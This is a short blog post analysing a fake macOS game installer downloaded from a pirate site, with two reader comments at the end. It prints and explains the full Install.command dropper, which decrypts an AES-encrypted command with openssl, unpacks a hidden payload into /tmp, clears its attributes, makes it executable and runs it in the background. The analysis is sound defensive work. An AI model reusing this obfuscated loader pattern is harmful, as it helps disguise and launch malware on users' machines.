Scripts are bad mkay
A quick rundown on why you shouldn't download games from sketchy websites
3-min read
Introduction
Skip this if you want to go straight to the technicals.
I was looking to pick up Turmoil - imagine Motherload with a cute outback western atmosphere - a simulation game in which you drill for oil and expand on your capitalistic tendencies.
The usual candidates like Steam and the App Store popped up but unfortunately, it wasn’t compatible with the latest version of Mac (Catalina) and I wasn’t bothered to spin up a virtual instance for this game. I was about to close Google when I realized themacgames.net was the third search result, with the usual enticing free download keywords plugged in for posterity purposes.
If I wasn’t going to be able to play Turmoil why not play around with obvious malware?
I wouldn’t get into too much of the process but I opened my VMWare and proceeded to download the .dmg. Right off the bat, the specified 100MB+ file size which was specified on the website came up to 377kb instead. Red flags for the informed computer user but people might assume they’d gotten lucky and downloaded the game quickly.
The file name was Turmoil-v2-0-11-themacgames-rar.dmg
which is just icing on the cake. I didn’t realize you could package a rar
, or I wasn’t entirely sure why you would even want to.
The dmg opened up with this stunning background and persistent instructions to install NOW. Ignoring the fact that right-clicking on the icon would not display the menu panel on the right-hand side, you could have also just told the user to double click on it instead?
Fortunately, you can preview what the code is if you just click on the spacebar, but they tried to make it tricky by creating an alias in the root. This essentially means that if I drag the file out of the mounted volume I end up creating a broken symbolic link. But since the developers wanted you to anyway right click and run the script, they ended up having to display the Show Original
menu option in the panel which opens up the .hidden folder with all the extra goodness.
Technicals
The folder contained the original Install.command
script and a .txt file named kiH7h1GyQvqhVR8
which I assumed to be encrypted. Here’s the code:
9 lines of code look pretty harmless but the fun starts from the bottom-up.
#!/bin/bash
Makes the script executable
export appDir=$(cd $(dirname "$0"); pwd -P)
All these commands are used multiple times in the script, in this instance it would be inside the .hidden folder
export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"
The temporary directory folder instance is created with random alphanumeric characters.
export binFile="$(cd "$appDir"; ls | grep -Ev '\.(command)$' | head -n 1 | rev)"
Changes the directory to the current .hidden folder, uses regular expressions to get every file except the Install.command
and grabs the filename kiH7h1GyQvqhVR8
and then inverts it.
The $binFile
is used as the name for the dumped output in the previously mentioned /tmp/
folder which is just cumbersome, to say the least.
export archive="$(echo $binFile | rev)"
Reverses the reversed binFile
above which ends up being the filename. Confusing, I know.
export commandArgs='U2FsdG tVkX18frhjiQtktGVqO/3+TEbsxC6jq1k9w20zqtOaNrTKVFyHIpCjbiBWpq0kDz34I5DvPmA63dN03ByH/iv/wpMQGnQxg7kGkbKFnpidHtDZTv4jWbitxlFu3yvOCb91VLVK0CQgO800JZIHXvJA4LRjxvAR2BPoj5SDK+zYrXBKy2f3fJZa4Gwo2IT/2yvJ68/B+DeiAgQfSp04hgGCdXtwo25UqK4h15edE4cLmrLdH5ZsVUzrdvtvmR8ldOyKoh4v9U+5UdIBn8oyJ1ns7aoOXI6Re+ZBx4GHKSs0lwnlXianbS5BN4Zgt'
Immediately stands out as an encrypted string and that’s not just because the attacker was calling openssl
right below…
decryptedCommand="$(echo -e "$commandArgs" | openssl enc -aes-256-cbc -d -A -base64 -pass "pass:$archive")"
Passed in the string above - interpreting the backslash spaces - piped in the open ssl to decrypt the text.
The resulting output $decryptedCommand
was another line -
$(echo "openssl enc -aes-256-cbc -d -A -base64 -k \"$archive\" -in \"$appDir/$archive\" -out \"$tmpDir/$binFile\"; xattr -c \"$tmpDir/\"*; chmod 777 \"$tmpDir/$binFile\"; \"$tmpDir/$binFile\" && rm -rf $tmpDir")
Which essentially decrypts the remaining kiH7h1GyQvqhVR8
file and puts it in the aforementioned temporary folder created in /tmp/
which is the reversed string of the above file.
This essentially strips and clears all extra attributes, making it readable, writable, and executable to everyone, run it, and then remove the temp directory.
nohup /bin/bash -c "eval \"$decryptedCommand\"" >/dev/null 2>&1 &
The $decryptedCommand
is constantly run because of nohup
and redirects the output of your program including standard error/ out.
TL;DR
Mostly a roundabout way of running the decrypting the .txt file and storing some of the instances that are running on your computer. The problem is that it’s still malware and it’s still constantly running in the background.
The best way to get rid of this would probably be MalwareBytes or by opening your Terminal once to see if anything pops up with the name Install.command
.
Post-Analysis
Using Hex Fiend, I analyzed the executable to see exactly what was getting stored.
More on that later.
Could you please post the hash of the dmg?
Thanks for sharing. What is the finding of the Hex ?